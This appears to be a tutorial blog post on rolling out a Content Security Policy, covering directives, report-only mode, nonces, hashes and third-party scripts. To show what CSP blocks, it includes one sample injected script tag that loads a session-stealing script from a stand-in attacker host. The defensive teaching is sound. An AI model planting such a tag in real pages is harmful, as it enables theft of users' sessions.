You add a Content Security Policy, refresh the site, and suddenly analytics, a payment widget, and three inline scripts stop working. The tempting fix is to add 'unsafe-inline' and a handful of wildcards until the console becomes quiet. That can also remove much of the protection you wanted.
CSP is not a header to copy once. It is an allow-and-report system you roll out against the resources your application actually uses.
what CSP can and cannot do
Content Security Policy tells the browser which sources and execution patterns are allowed for scripts, styles, images, frames, connections, fonts, and other resources.
Its most important security use is reducing the impact of cross-site scripting. If an attacker manages to inject this HTML:
<script src="https://attacker.example/steal-session.js"></script>
a policy that does not trust that source can block the script from loading. A strict policy can also block inline scripts that lack an approved nonce or hash.
CSP is defense in depth. It does not replace output encoding, sanitization, framework escaping, dependency updates, or authorization. A server that returns another user’s invoice is still broken even under a perfect CSP.
read a policy from left to right
Here is a modest starting policy for a site that serves its own assets and images:
Content-Security-Policy:
default-src 'self';
script-src 'self';
style-src 'self';
img-src 'self' data:;
connect-src 'self';
object-src 'none';
base-uri 'none';
frame-ancestors 'none';
form-action 'self'
Each directive controls a boundary:
| Directive | What it restricts |
|---|---|
default-src |
Fallback for resource types without a more specific directive |
script-src |
JavaScript sources and execution rules |
style-src |
Stylesheet sources and inline style rules |
img-src |
Images |
connect-src |
fetch, XHR, WebSocket, and similar connections |
object-src |
Plugins such as old object/embed content |
base-uri |
Which URL a <base> element may set |
frame-ancestors |
Which sites may embed this page |
form-action |
Where forms may submit |
'self' means the same origin, including scheme and port rules. 'none' means no source is allowed for that directive. The quotes around CSP keywords matter.
start in report-only mode
Do not make your first production policy blocking unless the application is tiny and fully understood.
Send the same policy using this header first:
Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'none'
The browser reports what would have been blocked but still allows it. Check the browser console during development and send production reports to a controlled endpoint.
Modern reporting uses a named endpoint:
Reporting-Endpoints: csp="https://reports.example.com/csp"
Content-Security-Policy-Report-Only: default-src 'self'; report-to csp
MDN and OWASP currently recommend report-to, while noting that report-uri is still commonly sent as a compatibility fallback. Treat reports as attacker-controlled input: limit request size, validate the payload, rate-limit the endpoint, and never render report fields as trusted HTML.
Report-only mode has one purpose: inventory and repair legitimate violations before enforcement. Leaving it there forever means the policy never blocks an attack.
why host allowlists become fragile
A location-based policy often grows like this:
script-src 'self' https://cdn.example.com https://tag.example.com https://widgets.example.com
Every third-party script expands the code trusted by your page. Some hosts serve many customers or load more scripts dynamically. The allowlist becomes long, hard to review, and easier to weaken accidentally.
A strict CSP trusts individual script executions using a nonce or hash instead of assuming every script from a host is safe. MDN and OWASP recommend this approach for stronger XSS protection.
use a nonce for dynamic HTML
A nonce is a cryptographically random, single-use value generated for each response. The server puts it in both the policy and approved script tags.
import { randomBytes } from 'node:crypto';
app.use((req, res, next) => {
const nonce = randomBytes(16).toString('base64');
res.locals.cspNonce = nonce;
res.setHeader(
'Content-Security-Policy',
[
`script-src 'nonce-${nonce}' 'strict-dynamic'`,
"object-src 'none'",
"base-uri 'none'",
"frame-ancestors 'none'",
].join('; '),
);
next();
});
The HTML renderer uses the same value:
<script nonce="{{ cspNonce }}" src="/assets/app.js"></script>
Do not search-and-replace a nonce onto every script tag after rendering. If attacker-controlled HTML has already introduced a script tag, an indiscriminate rewriter may approve that tag too. The template must place nonces only on scripts the application owns.
'strict-dynamic' allows a trusted nonce- or hash-approved script to load scripts it creates. This helps applications whose trusted loader adds chunks dynamically, but it should be tested against the browser support and script behavior your users actually have.
use hashes for stable static scripts
Static sites cannot generate a fresh nonce per request when the same HTML file is served to everyone. For stable inline scripts, a hash can approve the exact content:
Content-Security-Policy: script-src 'sha256-V2kaaafImTjn8RQTWZmF4IfGfQ7Qsqsw9GWaFjzFNPg='; object-src 'none'; base-uri 'none'
Even a whitespace change produces a different hash. That makes hashes useful for generated static output when the build can calculate and update them, but annoying for scripts edited manually.
Another clean option is moving inline behavior into external files served from an approved source. For a static Astro site, compare the maintenance cost of build-generated hashes with external scripts before choosing.
the 'unsafe-inline' trap
This policy is easy to deploy:
script-src 'self' 'unsafe-inline'
It also allows ordinary inline scripts and inline event handlers, which are common XSS execution paths. Adding it merely to silence errors can undermine script protection.
Refactor code like this:
<button onclick="saveProfile()">Save</button>
into an external or nonce-approved script:
<button id="save-profile">Save</button>
<script nonce="{{ cspNonce }}">
document.querySelector('#save-profile')?.addEventListener('click', saveProfile);
</script>
Styles may require a separate migration. Do not weaken script-src because a CSS framework generated inline styles; diagnose the directive the browser actually reports.
third-party scripts need an ownership decision
Analytics, advertising, support widgets, payment forms, and video embeds often need several directives, not only script-src.
An analytics tool may need:
script-srcfor its loader.connect-srcfor measurement requests.img-srcfor tracking pixels.- A consent decision before storage or personalized advertising.
Do not copy a vendor’s broad policy into your global header. Observe the exact hosts used in your configuration, check the vendor’s current documentation, and decide whether the feature is worth the trust it requires.
For payment fields or videos inside frames, prefer the provider’s hosted frame and restrict frame-src to the exact origin. frame-ancestors solves the opposite problem: who may frame your page.
a rollout that does not break production
Use a measured sequence:
- Inventory scripts, styles, frames, connections, fonts, and images in browser network logs.
- Draft the narrowest policy that supports intended behavior.
- Deploy it as
Content-Security-Policy-Report-Only. - Exercise authentication, checkout, consent, error reporting, and rarely used admin flows.
- Group violations by effective directive and blocked origin.
- Fix inline execution and remove resources the product no longer needs.
- Enforce the policy for internal traffic or a small percentage of responses.
- Monitor client errors, conversion-critical flows, and CSP reports.
- Expand enforcement while keeping a rollback path.
A useful rollout has a defined success condition. For example: seven days without an unexplained violation on the tested flows, no increase in client-side errors, and confirmed operation of login, payments, analytics consent, and support tooling.
That seven-day window is an operational choice, not a security standard. A high-traffic product may learn enough sooner; a low-traffic admin flow may need longer.
debug the directive, not the symptom
When a resource fails, read the full console message.
Refused to connect to 'https://api.example.com/events'
because it violates the following Content Security Policy directive:
"connect-src 'self'"
This is a connect-src problem. Adding the API host to script-src will do nothing.
Check these details:
- Is the blocked resource expected or left over from an old integration?
- Is the directive explicit, or is it falling back to
default-src? - Does the URL change across regions or environments?
- Is a browser extension causing the report rather than site code?
- Did a redirect move the request to an unapproved origin?
- Can the dependency be removed instead of allowed?
The last question is often the best security improvement.
what I would ship first
For a new dynamic application, I would aim for a nonce-based strict policy, object-src 'none', base-uri 'none', an explicit framing rule, and report-only testing before enforcement.
For an existing application with many third parties, I would begin with inventory and reporting, remove unused integrations, then migrate scripts toward nonces or hashes. I would not promise a strict policy in one afternoon.
CSP becomes useful when the policy is narrow enough to block something, observable enough to debug, and maintained whenever the application changes. A silent header copied from another stack provides confidence, not necessarily protection.